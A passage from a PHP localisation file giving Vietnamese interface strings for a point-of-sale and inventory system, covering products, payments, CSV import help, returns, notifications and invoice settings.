=> 'Kích hoạt mô tả sản phẩm, IMEI hoặc số sê-ri', 'tooltip_sr_no' => 'Bật hoặc tắt thêm mô tả sản phẩm, IMEI hoặc Số sê-ri trong khi bán sản phẩm trong màn hình POS', 'description' => 'Mô tả', 'sell_line_description_help' => 'Thêm IMEI sản phẩm, số sê-ri hoặc thông tin khác tại đây.', 'unit_cost_before_discount' => 'Đơn giá (Trước giảm giá)', 'discount_percent' => 'Phần trăm chiết khấu %', 'profit_margin' => 'Tỷ suất lợi nhuận %', 'discount_percent' => '% giảm giá', 'application_tour' => 'Hướng dẫn sử dụng', 'profile' => 'Hồ sơ', 'sign_out' => 'Đăng xuất', 'my_profile' => 'Thông tin của tôi', 'Admin' => 'quản trị viên', 'Cashier' => 'Thu ngân', 'both_supplier_customer' => 'Cả (Nhà cung cấp & Khách hàng)', 'months' => 'Tháng', 'days' => 'Ngày', 'suppliers' => 'Nhà cung cấp', 'customers' => 'Khách hàng', 'enter_product_name_to_print_labels' => 'Nhập tên sản phẩm để in nhãn', 'manage_product_variations' => 'Quản lý các sản phẩm biến thể', 'all_variations' => 'Tất cả biến thể', 'values' => 'Giá trị', 'add_variation' => 'Thêm biến thể', 'variation_name' => 'Tên biến thể', 'add_variation_values' => 'Thêm giá trị', 'edit_variation' => 'Sửa biến thể', 'received' => 'Đã nhận', 'pending' => 'Đang xử lý', 'ordered' => 'Đặt hàng', 'search_product_placeholder' => 'Nhập tên sản phẩm / SKU / máy quét', 'fixed' => 'đã sửa', 'percentage' => 'Tỷ lệ %', 'select_location' => 'Chọn địa điểm', 'add_description' => 'Thêm mô tả', 'cash' => 'Tiền mặt', 'card' => 'Thẻ', 'cheque' => 'Kiểm tra', 'bank_transfer' => 'Chuyển khoản', 'other' => 'Khác', 'payment' => 'Thanh toán', 'total_items' => 'Tổng số mặt hàng', 'total_paying' => 'Tổng số thanh toán', 'balance' => 'Cân đối', 'payment_method' => 'Phương thức thanh toán', 'card_no' => 'Số thẻ', 'card_holder_name' => 'Tên chủ thẻ', 'card_transaction_no' => 'Số giao dịch thẻ', 'card_type' => 'Loại thẻ', 'month' => 'Tháng', 'year' => 'Năm', 'security_code' => 'Mã bảo mật', 'cheque_no' => 'Số kiểm tra', 'bank_account_number' => 'Tài khoản ngân hàng số', 'paid' => 'Đã thanh toán', 'due' => 'Do', 'partial' => 'Một phần', 'no_of_products' => 'Số lượng sản phẩm', 'select_a_date_range' => 'Chọn phạm vi ngày', 'shortcut_help' => "Phím tắt phải là tên của các phím được phân tách bằng '+'", 'example' => 'Thí dụ', 'available_key_names_are' => 'Các tên phím có sẵn', 'add_new_product' => 'Sản phẩm mới', 'invoice_logo_help' => 'Tối đa chỉ các định dạng :max_size, jpeg, gif, png.', 'invoice_logo_help2' => 'Chỉ tải lên nếu bạn muốn thay thế logo trước đó', 'printer_name_help' => 'Tên mô tả ngắn để nhận ra máy in', 'char_per_line_help' => 'Số lượng ký tự có thể được in trên mỗi dòng', 'ip_address_help' => 'Địa chỉ IP để kết nối với máy in', 'port_help' => 'Hầu hết các máy in hoạt động trên cổng 9100', 'combination_of_taxes' => 'Kết hợp nhiều loại thuế', 'product_purchase_report' => 'Báo cáo mua hàng', 'unit_perchase_price' => 'Đơn giá mua', 'search_product' => 'Tìm kiếm sản phẩm', 'product_sell_report' => 'Báo cáo bán hàng', 'unit_sale_price' => 'Đơn giá bán', 'contact_id' => 'ID Liên hệ (để trống)', 'category_code_help' => 'Mã danh mục giống như <b>HSN code</b>', 'sub_heading_line' => 'Dòng tiêu đề phụ :_number_', 'date_label' => 'Nhãn ngày', 'client_id_label' => 'Nhãn ID khách hàng', 'product_label' => 'Nhãn sản phẩm', 'qty_label' => 'Số lượng nhãn', 'unit_price_label' => 'Đơn giá', 'subtotal_label' => 'Nhãn phụ', 'product_details_to_be_shown' => 'Chi tiết sản phẩm sẽ được hiển thị', 'show_brand' => 'Hiển thị thương hiệu', 'show_sku' => 'Hiển thị SKU', 'show_cat_code' => 'Hiển thị mã danh mục hoặc mã HSN', 'show_client_id' => 'Hiển thị ID khách hàng', 'show_time_with_date' => 'Hiển thị thời gian với ngày', 'show_sale_description' => 'Hiển thị mô tả bán hàng', 'product_imei_or_sn' => '(IMEI sản phẩm hoặc số sê-ri)', 'purchase_already_exist' => 'Không thể xóa sản phẩm vì các giao dịch mua liên quan đến sản phẩm này tồn tại', 'opening_stock_sold' => 'Không thể xóa sản phẩm vì một số cổ phiếu được bán', 'stock_adjusted' => 'Không thể xóa sản phẩm vì một số cổ phiếu được điều chỉnh', 'product_delete_success' => 'Đã xóa sản phẩm thành công.', 'manage_products' => 'Quản lý sản phẩm', 'all_products' => 'Tất cả sản phẩm', 'login' => 'Đăng nhập', 'register' => 'Đăng ký', 'username' => 'Tên đăng nhập', 'password' => 'Mật khẩu', 'remember_me' => 'Ghi nhớ', 'forgot_your_password' => 'Quên mật khẩu?', 'reset_password' => 'Đặt lại mật khẩu', 'email_address' => 'Địa chỉ email', 'send_password_reset_link' => 'Gửi liên kết đặt lại mật khẩu', 'instructions' => 'Hướng dẫn', 'instruction_line1' => 'Thực hiện theo các hướng dẫn cẩn thận trước khi nhập tệp.', 'instruction_line2' => 'Các cột của tệp CSV phải theo thứ tự sau.', 'col_no' => 'Cột số', 'col_name' => 'Cột tên', 'instruction' => 'Hướng dẫn', 'required' => 'Cần thiết', 'optional' => 'Không bắt buộc', 'name_ins' => 'Tên của sản phẩm', 'brand_ins' => 'Tên của thương hiệu', 'brand_ins2' => 'Nếu không tìm thấy thương hiệu mới với tên đã cho sẽ được tạo', 'unit_ins' => 'Tên của đơn vị', 'category_ins' => 'Tên của danh mục', 'category_ins2' => 'Nếu không tìm thấy danh mục mới với tên đã cho sẽ được tạo', 'sub_category_ins' => 'Tên của tiểu thể loại', 'sub_category_ins2' => 'Nếu không tìm thấy danh mục phụ mới với tên đã cho trong Danh mục mẹ <br> sẽ được tạo', 'sku_ins' => 'SKU sản phẩm. Nếu để trống, SKU sẽ được tạo tự động', 'barcode_type_ins' => 'Loại mã vạch cho sản phẩm.', 'barcode_type_ins2' => 'Hiện được hỗ trợ', 'default' => 'Mặc định', 'manage_stock_ins' => 'Kích hoạt hoặc vô hiệu hóa quản lý chứng khoán', 'alert_qty_ins' => 'Bắt buộc nếu Manage Stock là 1', 'expires_in_ins' => 'Thời hạn sử dụng của sản phẩm (Chỉ bằng số)', 'expire_period_unit' => 'Đơn vị thời hạn sử dụng', 'available_options' => 'Tùy chọn có sẵn', 'expire_period_unit_ins' => 'Đơn vị cho thời hạn sử dụng', 'applicable_tax_ins' => 'Tên của thuế suất', 'variation_name_ins' => 'Bắt buộc nếu loại sản phẩm là biến', 'variation_name_ins2' => 'Tên của biến thể (Ví dụ: Kích thước, Màu sắc, v.v.)', 'variation_values_ins' => 'Bắt buộc nếu loại sản phẩm là biến', 'variation_values_ins2' => "Các giá trị cho biến thể được phân tách bằng '|' <br> (Ví dụ: Đỏ | Xanh lam | Xanh lục) ", 'purchase_price_inc_tax' => 'Giá mua (đã bao gồm thuế)', 'purchase_price_inc_tax_ins1' => 'Bắt buộc nếu không bao gồm giá mua không bao gồm thuế', 'purchase_price_inc_tax_ins2' => "Giá mua (Bao gồm thuế) (Chỉ bằng số) <br> <br> Đối với các sản phẩm biến đổi '|' các giá trị được phân tách bằng <br> cùng thứ tự với Giá trị biến đổi <br> (Ví dụ: 84 | 85 | 88) ", 'purchase_price_exc_tax' => 'Giá mua (không bao gồm thuế)', 'purchase_price_exc_tax_ins1' => 'Bắt buộc nếu giá mua bao gồm thuế không được đưa ra', 'purchase_price_exc_tax_ins2' => "Giá mua (Không bao gồm thuế) (Chỉ tính bằng số) <br> <br> Đối với các sản phẩm biến đổi '|' các giá trị được phân tách bằng <br> cùng thứ tự với Giá trị biến đổi <br> (Ví dụ: 84 | 85 | 88) ", 'profit_margin_ins' => 'Tỷ suất lợi nhuận (Chỉ bằng số)', 'profit_margin_ins1' => 'Nếu biên lợi nhuận mặc định trống cho doanh nghiệp <br> sẽ được sử dụng', 'selling_price' => 'Gia ban', 'selling_price_ins' => 'Giá bán (Chỉ bằng số)', 'selling_price_ins1' => 'Nếu giá bán trống sẽ được tính <br> với Giá mua đã cho <br> và Thuế áp dụng', 'opening_stock' => 'Khai trương', 'opening_stock_ins' => 'Mở cổ phiếu (Chỉ bằng số)', 'only_applicable_to_single_product' => 'Chỉ áp dụng cho một sản phẩm', 'purchase_delete_success' => 'Mua hàng đã xóa thành công', 'location_ins' => 'Nếu vị trí doanh nghiệp đầu tiên trống sẽ được sử dụng', 'location_ins1' => 'Tên của địa điểm kinh doanh', 'expiry_date' => 'Ngày hết hạn', 'expiry_date_ins' => 'Ngày hết hạn chứng khoán <br> <b> Định dạng: mm-dd-yyyy; Ví dụ: 11-25-2018 </b>', 'enable_lot_number' => 'Kích hoạt số lô', 'tooltip_enable_lot_number' => 'Điều này sẽ cho phép bạn nhập số lô cho mỗi dòng mua trong màn hình mua hàng', 'lot_number' => 'Số lô', 'enable_racks' => 'Kích hoạt giá đỡ', 'tooltip_enable_racks' => 'Cho phép điều này để thêm chi tiết giá của sản phẩm cho các địa điểm kinh doanh khác nhau trong khi thêm sản phẩm', 'rack_details' => 'Chi tiết giá / hàng / vị trí', 'tooltip_rack_details' => 'Nhập chi tiết về nơi sản phẩm được giữ trong cửa hàng, cho các địa điểm kinh doanh khác nhau.', 'updated_success' => 'Cập nhật thành công', 'added_success' => 'Thêm thành công', 'deleted_success' => 'Đã xoá thành công', 'enable_disable_modules' => 'Bật / Tắt mô-đun', 'opening_stock_help_text' => "<br><br> Đối với các sản phẩm khác nhau, số lượng chứng khoán riêng biệt với '|' <br> (Ví dụ: 100 | 150 | 200) ", 'applicable_tax_help' => '<br><br/> Nếu Giá mua (Không bao gồm thuế) không giống với <br/> Giá mua (Bao gồm thuế) <br/> thì bạn phải cung cấp tên thuế suất.', 'sale_delete_success' => 'Đã xóa thành công', 'click_to_edit' => 'Bấm vào để chỉnh sửa', 'click_to_delete' => 'Bấm để xóa', 'quotation_heading' => 'Tiêu đề Báo giá', 'quotation' => 'Báo giá', 'quotation_no_prefix' => 'Báo giá no. label', 'tooltip_quotation_heading' => 'Tiêu đề trích dẫn hoặc Dự toán được sử dụng trong khi cung cấp báo giá cho khách hàng.', 'quotation_added' => 'Báo giá được thêm thành công', 'quotation_updated' => 'Báo giá được cập nhật thành công', 'product_sold_details_register' => 'Chi tiết sản phẩm đã bán', 'grand_total' => 'Tổng cộng', 'change_return' => 'Change Return', 'date_format' => 'Định dạng ngày', 'time_format' => 'Định dạng thời gian', '12_hour' => '12 giờ', '24_hour' => '24 giờ', 'list_quotations' => 'Báo giá', 'list_drafts' => 'Danh sách Nháp', 'you_cannot_delete_this_contact' => 'Không thể xóa liên hệ - Giao dịch đã tồn tại cho liên hệ.', 'enable_row' => 'Kích hoạt hàng', 'enable_position' => 'Kích hoạt vị trí', 'rack' => 'Giá đỡ', 'row' => 'Hàng', 'position' => 'Chức vụ', 'weight' => 'Cân nặng', 'rack_help_text' => "Chi tiết giá được phân tách bằng '|' cho các địa điểm kinh doanh khác nhau một cách thanh thản. <br/> (Ví dụ: R1 | R5 | R12) ", 'row_help_text' => "Chi tiết hàng được phân tách bằng '|' cho các địa điểm kinh doanh khác nhau một cách thanh thản. <br/> (Ví dụ: ROW1 | ROW2 | ROW3) ", 'position_help_text' => "Chi tiết vị trí được phân tách bằng '|' cho các địa điểm kinh doanh khác nhau một cách nghiêm túc. <br/> (Ví dụ: POS1 | POS2 | POS3) ", 'import_opening_stock' => 'Tải lên Nhập kho', 'tooltip_import_opening_stock' => 'Tính năng này được sử dụng để nhập kho mở của các sản phẩm đã thêm. Nếu các sản phẩm không được thêm vào hệ thống thì nên sử dụng các sản phẩm nhập khẩu để thêm chi tiết sản phẩm với kho mở.', 'design' => 'Thiết kế', 'express_checkout_cash' => 'Thanh toán (F9)', 'express_checkout_card' => 'Thẻ', 'checkout_multi_pay' => 'Thánh toán (khác)', 'tooltip_checkout_multi_pay' => 'Thanh toán bằng nhiều phương thức thanh toán', 'tooltip_express_checkout_card' => 'Thanh toán nhanh bằng thẻ', 'card_transaction_details' => 'Chi tiết giao dịch thẻ', 'client_tax_label' => 'Nhãn số thuế khách hàng', 'cat_code_label' => 'Nhãn mã danh mục hoặc mã HSN', 'list_sell_return' => 'Danh sách bán trả lại', 'sell_return' => 'Trả hàng bán', 'layout_credit_note' => 'Ghi chú tín dụng / Chi tiết trả lại tiền bán', 'cn_heading' => 'Tiêu đề', 'cn_no_label' => 'Số tham chiếu', 'cn_amount_label' => 'Tổng hợp', 'custom_field' => 'Trường tùy chỉnh :number', 'website' => 'Trang mạng', 'total_credit_amt' => 'Tổng số tiền tín dụng', 'unit_sell_price' => 'Đơn giá bán', 'prefixes' => 'Tiền tố', 'purchase_order' => 'Đơn đặt hàng', 'stock_transfer' => 'Chuyển kho', 'purchase_payment' => 'Thanh toán mua hàng', 'sell_payment' => 'Thanh toán bán hàng', 'location_id' => 'ID vị trí', 'add_edit_opening_stock' => 'Thêm hoặc chỉnh sửa mở cổ phiếu', 'expiry_date_will_be_changed_in_pl' => 'Ngày hết hạn của dòng mua sẽ được thay đổi', 'remove_from_stock' => 'Xóa khỏi chứng khoán', 'stock_removed_successfully' => 'Xóa cổ phiếu thành công', 'product_image' => 'Hình ảnh sản phẩm', 'aspect_ratio_should_be_1_1' => 'Tỷ lệ khung hình phải là 1: 1', 'previous_image_will_be_replaced' => 'Hình ảnh được tải lên trước đó sẽ được thay thế', 'all_category' => 'Tất cả danh mục', 'all_brands' => 'Tất cả thương hiệu', 'backup' => 'Quản trị dự phòng', 'download_complete_backup' => 'Tải xuống bản sao lưu hoàn chỉnh', 'backup_doesnt_exist' => 'Sao lưu không tồn tại', 'lot_report' => 'Báo cáo lô', 'purchase_payment_report' => 'Thanh toán mua hàng', 'paid_on' => 'Ngày thanh toán', 'purchase' => 'Số tham chiếu', 'cheque_no' => 'Kiểm tra số', 'card_transaction_no' => 'Số giao dịch thẻ', 'bank_account_no' => 'Số tài khoản ngân hàng', 'sell_payment_report' => 'Thanh toán bán hàng', 'restaurant' => 'Nhà hàng', 'user_type' => 'Loại người dùng', 'business_inactive' => 'Xin lỗi, doanh nghiệp của bạn không hoạt động !!', 'product_custom_field1' => 'Trường tùy chỉnh1', 'product_custom_field2' => 'Trường tùy chỉnh2', 'product_custom_field3' => 'Trường tùy chỉnh3', 'product_custom_field4' => 'Trường tùy chỉnh4', 'image' => 'Hình ảnh', 'image_help_text' => 'Tên hình ảnh có phần mở rộng. <br/> (Tên hình ảnh phải được tải lên máy chủ :path)', 'tooltip_kitchen' => 'Đây là màn hình nhà bếp. Ở đây chi tiết đặt hàng có thể được xem và đơn đặt hàng có thể được đánh dấu là nấu chín.', 'tooltip_serviceorder' => 'Đây là màn hình Nhân viên phục vụ. Nhân viên Dịch vụ có thể sử dụng màn hình này để xem tất cả các đơn đặt hàng cho họ và đánh dấu đơn hàng là được phục vụ.', 'sales_person_label' => 'Nhãn nhân viên bán hàng', 'show_sales_person' => 'Hiển thị nhân viên bán hàng', 'decimal_value_not_allowed' => 'Giá trị thập phân không được phép', 'theme_color' => 'Màu chủ đề', 'quantity_error_msg_in_lot' => 'Chỉ :qty :unit vị khả dụng trong Lô đã chọn', 'show_product_expiry' => 'Hiển thị hết hạn sản phẩm', 'show_lot_number' => 'Hiển thị số lô', 'expiry' => 'Hết hạn', 'lot' => 'Nhiều', 'lot_n_expiry' => 'Rất nhiều và hết hạn', 'pos_edit_product_price_help' => 'Chỉnh sửa đơn giá sản phẩm và thuế', 'name' => 'Tên', 'payment_type' => 'Tiểu Kiến thanh', 'manage_payment_account' => 'Quản lý tài khoản thanh toán của bạn', 'all_payments' => 'Tất cả các khoản thanh toán', 'payment_note' => 'Ghi chú thanh toán', 'payment_account_deleted_success' => 'Tài khoản thanh toán đã được xóa thành công', 'payment_account_updated_success' => 'Tài khoản thanh toán được cập nhật thành công', 'payment_gateway' => 'Cổng thanh toán trực tuyến', 'payment_account_success' => 'Tài khoản thanh toán được thêm thành công', 'payment_account' => 'Tài khoản thanh toán', 'tooltip_sell_product_column' => 'Nhấp vào <i> tên sản phẩm </i> để chỉnh sửa giá, chiết khấu và thuế. <br/> Nhấp vào <i> Biểu tượng nhận xét </i> để nhập số sê-ri / IMEI hoặc ghi chú bổ sung. <br/> <br/> Nhấp vào <i> Biểu tượng sửa đổi </i> (nếu được bật) cho công cụ sửa đổi', 'credit_limit' => 'Giới hạn tín dụng', 'credit_limit_help' => 'Giữ trống không giới hạn', 'cutomer_credit_limit_exeeded' => 'Vượt quá giới hạn tín dụng khách hàng <br>:credit_limit', 'custom_payment_1' => 'Thanh toán tùy chỉnh 1', 'custom_payment_2' => 'Thanh toán tùy chỉnh 2', 'custom_payment_3' => 'Thanh toán tùy chỉnh 3', 'transaction_no' => 'Giao dịch không.', 'file' => 'Tập tin', 'size' => 'Kích thước', 'date' => 'Ngày', 'age' => 'Tuổi tác', 'create_new_backup' => 'Tạo bản sao lưu mới', 'all_sales' => 'Tất cả doanh số', 'opening_balance' => 'Số dư đầu kỳ', 'opening_balance_due' => 'Số dư đầu kỳ', 'import_contacts' => 'Tải lên liên hệ', 'contact_type_ins' => '<strong> Tùy chọn khả dụng: khách hàng, nhà cung cấp & cả </strong>', 'contact_id_ins' => 'Để trống để tự động tạo ID liên hệ', 'required_if_supplier' => 'Bắt buộc nếu loại liên hệ là nhà cung cấp hoặc cả hai', 'pay_term_period_ins' => 'Tùy chọn khả dụng: ngày và tháng', 'your_username_will_be' => 'Tên người dùng của bạn sẽ là', 'currency_exchange_rate' => 'Tỷ giá hối đoái', 'select_all' => 'Chọn tất cả', 'deselect_all' => 'Bỏ chọn tất cả', 'duplicate_product' => 'Sản phẩm trùng lặp', 'delete_selected' => ' Xóa đã chọn', 'no_row_selected' => 'Không có hàng nào được chọn', 'duplicate_sell' => 'Bán trùng lặp', 'duplicate_sell_created_successfully' => 'Bán trùng lặp được tạo thành công', 'modules' => 'Mô-đun', 'theme' => 'Chủ đề', 'account' => 'Tài khoản', 'expense_payment' => 'Thanh toán chi phí', 'expense' => 'Chi phí', 'disabled_in_demo' => 'Tính năng bị vô hiệu hóa trong bản demo !!', 'selling_price_group' => 'Nhóm giá bán', 'all_selling_price_group' => 'Tất cả nhóm giá bán', 'add_selling_price_group' => 'Thêm nhóm giá bán', 'edit_selling_price_group' => 'Sửa nhóm giá bán', 'access_selling_price_groups' => 'Truy cập nhóm giá bán', 'save_n_add_selling_price_group_prices' => 'Lưu và thêm giá bán-giá nhóm', 'add_selling_price_group_prices' => 'Thêm hoặc chỉnh sửa giá nhóm', 'default_selling_price_inc_tax' => 'Giá bán mặc định (Bao gồm thuế)', 'variation' => 'Biến thể', 'price_group' => 'Nhóm giá cả', 'group_price' => 'Giá nhóm', 'default_selling_price' => 'Giá bán mặc định', 'price_group_help_text' => 'Nhóm giá bán mà bạn muốn bán', 'group_prices' => 'Giá nhóm', 'view_group_prices' => 'Xem giá nhóm', 'save_n_add_another' => 'Lưu và thêm sản phẩm', 'update_n_add_another' => 'Cập nhật và thêm cái khác', 'subtotal_editable' => 'Tổng phụ chỉnh sửa', 'subtotal_editable_help_text' => 'Kiểm tra điều này để có thể chỉnh sửa trường Tổng phụ cho từng sản phẩm trong màn hình POS', 'notification_templates' => 'Mẫu thông báo', 'new_sale' => 'Bán mới', 'payment_reminder' => 'Nhắc thanh toán', 'payment_received' => 'Thanh toán nhận được', 'new_booking' => 'Đặt chỗ mới', 'new_order' => 'Đơn hàng mới', 'payment_paid' => 'Đã thanh toan', 'items_received' => 'Đã nhận item', 'items_pending' => 'Đang xử lý item', 'customer_notifications' => 'Thông báo khách hàng', 'supplier_notifications' => 'Thông báo nhà cung cấp', 'email_subject' => 'Tiêu đề email', 'email_body' => 'Nội dung Email', 'sms_body' => 'Nội dung SMS', 'available_tags' => 'Thẻ có sẵn', 'send_notification' => 'Gửi thông báo', 'new_sale_notification' => 'Thông báo bán hàng mới', 'send_email_only' => 'Chỉ gửi email', 'send_sms_only' => 'Chỉ gửi SMS', 'send_both_email_n_sms' => 'Gửi cả email và tin nhắn SMS', 'to' => 'Đến', 'mobile_number' => 'Số điện thoại', 'send' => 'Gửi', 'notification_sent_successfully' => 'Thông báo đã gửi thành công', 'payment_received_notification' => 'Gửi thông báo đã nhận thanh toán', 'send_payment_reminder' => 'Gửi nhắc nhở thanh toán', 'new_order_notification' => 'Thông báo đơn hàng mới', 'item_received_notification' => 'Các mục nhận được thông báo', 'item_pending_notification' => 'Thông báo đang chờ xử lý', 'payment_paid_notification' => 'Thông báo thanh toán có trả tiền', 'mail_host' => 'Chủ nhà', 'mail_port' => 'Hải cảng', 'mail_username' => 'Tên người dùng', 'mail_password' => 'Mật khẩu', 'mail_encryption' => 'Mã hóa', 'mail_from_address' => 'Từ địa chỉ', 'mail_from_name' => 'Từ tên', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'Cài đặt email', 'sms_settings' => 'Cài đặt SMS', 'send_to_param_name' => 'Gửi đến tên tham số', 'msg_param_name' => 'Tên tham số tin nhắn', 'sms_settings_param_key' => 'Tham số :number key', 'sms_settings_param_val' => 'Tham số :number value', 'sending' => 'Gửi', 'request_method' => 'Phương thức yêu cầu', 'purchase_return' => 'Trả lại tiền mua hàng', 'return_quantity' => 'Số lượng trả lại', 'return_subtotal' => 'Tổng phụ trở lại', 'quantity_left' => 'Số lượng còn lại', 'return_total' => 'Tổng số trả lại', 'total_return_tax' => 'Tổng thuế hoàn trả', 'purchase_return_added_success' => 'Mua lại được thêm thành công', 'list_purchase_return' => 'Danh sách trả hàng', 'all_purchase_returns' => 'Tất cả trả hàng mua', 'parent_purchase' => 'Mã đơn hàng trả lại', 'purchase_return_details' => 'Chi tiết hoàn trả mua hàng', 'return_date' => 'Ngày trở lại', 'parent_sale' => 'Đơn hàng bán trả', 'sell_quantity' => 'Bán số lượng', 'total_return_discount' => 'Giảm giá hoàn lại', 'sell_return_details' => 'Chi tiết trả hàng', 'sell_details' => 'Chi tiết bán hàng', 'return_discount' => 'Giảm giá trở lại', 'total_unit_transfered' => 'Tổng đơn vị đã chuyển', 'total_unit_adjusted' => 'Tổng đơn vị điều chỉnh', 'return_exist' => 'Trả lại tồn tại cho Giao dịch, thay vào đó hãy chỉnh sửa trả lại.', 'synced_from_woocommerce' => 'Đã đồng bộ hóa từ Wooc Commerce', 'available_stock_expired' => 'HOẶC cổ phiếu có sẵn đã hết hạn.', 'sell_payments' => 'Quyền cho phép thêm / chỉnh sửa / xóa các khoản thanh toán trong danh sách bán / liệt kê màn hình POS.', 'purchase_payments' => 'Quyền cho phép thêm / chỉnh sửa / xóa các khoản thanh toán trong danh sách mua hàng.', 'sell.payments' => 'Thêm / Chỉnh sửa / Xóa thanh toán', 'purchase.payments' => 'Thêm / Chỉnh sửa / Xóa thanh toán', 'view_payment' => 'Xem thanh toán', 'card_number' => 'Số thẻ', 'transaction_number' => 'Số giao dịch', 'card_holder_name' => 'Tên chủ thẻ', 'card_transaction_number' => 'Giao dịch thẻ số', 'cheque_number' => 'Số kiểm tra', 'commsn_percent_help' => "Chỉ được sử dụng nếu cài đặt Loại đại lý của Ủy ban bán hàng là: 'Đã đăng nhập người dùng' hoặc 'Chọn từ danh sách người dùng'", 'max_amount_to_be_paid_is' => 'Số tiền tối đa là :amount', 'adjusted_for' => 'Điều chỉnh cho', 'some_qty_returned' => 'Một số lượng được trả lại từ mua hàng này', 'total_purchase_return' => 'Tổng trả hàng mua', 'total_purchase_return_paid' => 'Tổng lợi nhuận mua hàng được trả', 'total_purchase_return_inc_tax' => 'Tổng trả mua hàng bao gồm thuế', 'purchase_sell_report_formula' => 'Tổng quan (Bán - Trả lại - Mua - Trả hàng)', 'purchase_return_due' => 'Purchase Return Due', 'total_purchase_return_due' => 'Tiền hàng trả lại', 'receive_purchase_return_due' => 'Nhận trả hàng mua do', 'some_qty_returned_from_sell' => 'Một số lượng được trả lại từ việc bán hàng này', 'sell_due' => 'Nợ mua hàng', 'sell_return_due' => 'Trả lại tiền mua hàng', 'total_sell_return_due' => 'Tổng lợi nhuận bán', 'pay_sell_return_due' => 'Tổng lợi nhuận bán', 'total_sell_return' => 'Tổng trả hàng bán', 'total_sell_return_paid' => 'Trả lại tổng số tiền bán', 'total_sell_return_inc_tax' => 'Tổng tiền trả hàng bao gồm thuế', 'tooltip_columnize_taxes_heading' => 'Nhập tên thuế cho các tiêu đề, tiêu đề nên có mặt trong tên thuế. Ví dụ, các tiêu đề có thể là: CGST, SGST, IGST & CESS. Đối với tên thuế CGST @ 8% hoặc CGST @ 10%; SGST @ 10% hoặc SGST @ 8%, v.v.', 'sales_payment_dues' => 'Thanh toán bán hàng đến hạn', 'purchase_payment_dues' => 'Thanh toán mua hàng đến hạn', 'tooltip_sales_payment_dues' => "Đang chờ thanh toán cho Bán hàng. <br/><small class='text-muted'>Dựa trên thời hạn thanh toán hóa đơn. <br/> Hiển thị các khoản thanh toán sẽ được nhận trong 7 ngày hoặc ít hơn.</small>", 'edit_product_price_from_sale_screen' => 'Chỉnh sửa giá sản phẩm từ màn hình Bán', 'edit_product_discount_from_sale_screen' => 'Chỉnh sửa giảm giá sản phẩm từ màn hình Bán', 'autosend_email' => 'Tự động gửi email', 'autosend_sms' => 'Tự động gửi SMS', 'enable_selected_contacts' => 'Hạn chế danh bạ được chọn', 'tooltip_enable_selected_contacts' => 'Hạn chế quyền truy cập vào các liên hệ được chọn trong hộp tìm kiếm bán / mua của khách hàng / nhà cung cấp', 'selected_contacts' => 'Chọn danh bạ', 'view_role' => 'Xem vai trò', 'delete_role' => 'Xóa vai trò', 'mail_driver' => 'Trình điều khiển thư', 'disable_suspend_sale' => 'Vô hiệu hóa Tạm ngưng', 'suspend' => 'Tạm ngưng', 'suspend_note' => 'Ghi chú tạm ngưng', 'suspend_sale' => 'Tạm ngưng bán', 'view_suspended_sales' => 'Xem doanh số bị ngưng bán', 'suspended_sales' => 'Doanh số bị ngưng bán', 'tooltip_suspend' => 'Tạm ngừng bán hàng (tạm dừng)', 'business_telephone' => 'Số điện thoại (công ty)', 'accept_terms_and_conditions' => 'Chấp nhận Điều khoản & Điều kiện', 'terms_conditions' => 'Điều khoản và điều kiện', 'select_base_unit' => 'Chọn đơn vị', 'times_base_unit' => 'gấp X lần so với đơn vị cơ sở', 'multi_unit_help' => 'Xác định đơn vị này là bội số của các đơn vị khác <br><strong>Ex: 1 tá = 12 miếng</strong>', 'add_as_multiple_of_base_unit' => 'Thêm nhiều đơn vị khác', 'product_description' => 'Mô tả Sản phẩm', 'click_here' => 'Bấm vào đây', 'for_more_info' => 'để biết thêm', 'username_help' => 'Để trống để tự động tạo tên người dùng', 'status_for_user' => 'Đang hoạt động ?', 'tooltip_enable_user_active' => 'Kiểm tra / Bỏ chọn để khiến người dùng hoạt động / không hoạt động.', 'user_inactive' => 'Xin lỗi, tài khoản không hoạt động', 'calculator' => 'Máy tính', 'fields_for_customer_details' => 'Các lĩnh vực để biết chi tiết khách hàng', 'show_previous_bal_due' => 'Hiển thị tổng số dư đến hạn (Tất cả doanh số)', 'previous_bal_due_help' => 'Kiểm tra trường này để hiển thị tổng số tiền cân đối cho tất cả doanh số của khách hàng nếu có', 'all_sales' => 'Tất cả bán hàng', 'current_sale' => 'Bán hiện tại', 'view_invoice_url' => 'URL hóa đơn', 'copy' => 'Sao chép', 'extra_tags' => 'Thẻ phụ', 'date_time_format' => 'Định dạng ngày giờ', 'date_time_format_help' => "Nhập định dạng ngày và thời gian trong <a target='_blank' href='http://php.net/manual/en/function.date.php'> PHP datetime format </a>. Nếu định dạng ngày giờ làm việc trống sẽ được áp dụng", 'all' => 'Tất cả các', 'detailed' => 'Chi tiết', 'grouped' => 'Nhóm (Theo Ngày)', 'disable_recurring_invoice' => 'Vô hiệu hóa đơn định kỳ', 'is_recurring' => 'Đang định kỳ', 'recurring_invoice_help' => 'Nếu đăng ký hóa đơn này sẽ được tạo tự động theo định kỳ. <br> Bạn có thể tắt tính năng này trong <code> Cài đặt> Cài đặt doanh nghiệp> Mô-đun </ code>', 'recurring_invoice' => 'Hóa đơn định kỳ', 'years' => 'Năm', 'no_of_repetitions' => 'Số lần lặp lại', 'recur_repetition_help' => 'Nếu hóa đơn trống sẽ được tạo vô hạn lần', 'recurring_invoice_message' => 'Hóa đơn mới được tạo cho Đăng ký số: <i>:subscription_no </i>, Hóa đơn số: <i>:invoice_no</i>', 'notifcation_count_msg' => 'Bạn có :count thông báo', 'no_notifications_found' => 'Không tìm thấy thông báo', 'edit_multi_unit_help_text' => 'Chỉnh sửa giá trị này sẽ thay đổi cổ phiếu mua và bán phù hợp', 'sale_price_is_minimum_sale_price' => 'Giá bán tối thiểu', 'minimum_sale_price_help' => 'Nếu điều này được bật, trên giá bán mặc định của màn hình POS hoặc Bán hàng sẽ là giá bán tối thiểu cho sản phẩm. Bạn không thể đặt giá dưới giá bán mặc định.', 'minimum_selling_price_error_msg' => 'Giá bán tối thiểu là :price', 'lot_numbers_are_used_in_sale' => 'Không thể xóa, Một số lô từ giao dịch này đã được bán', 'created_at' => 'Tạo tại', 'years' => 'Năm', 'download' => 'Tải về', 'previous_file_will_be_replaced' => 'Tập tin đã tải lên trước đó sẽ được thay thế', 'access_accounts' => 'Tài khoản truy cập', 'payment_accounts' => 'Tài khoản thanh toán', 'total_shipping_charges' => 'Tổng phí vận chuyển', 'recurring_invoice_error_message' => 'Không thể tạo hóa đơn cho Đăng ký số.: <i>:subscription_no</i>. Kho bắt buộc không có sẵn cho sản phẩm <i>:product_name</i>', 'load_more' => 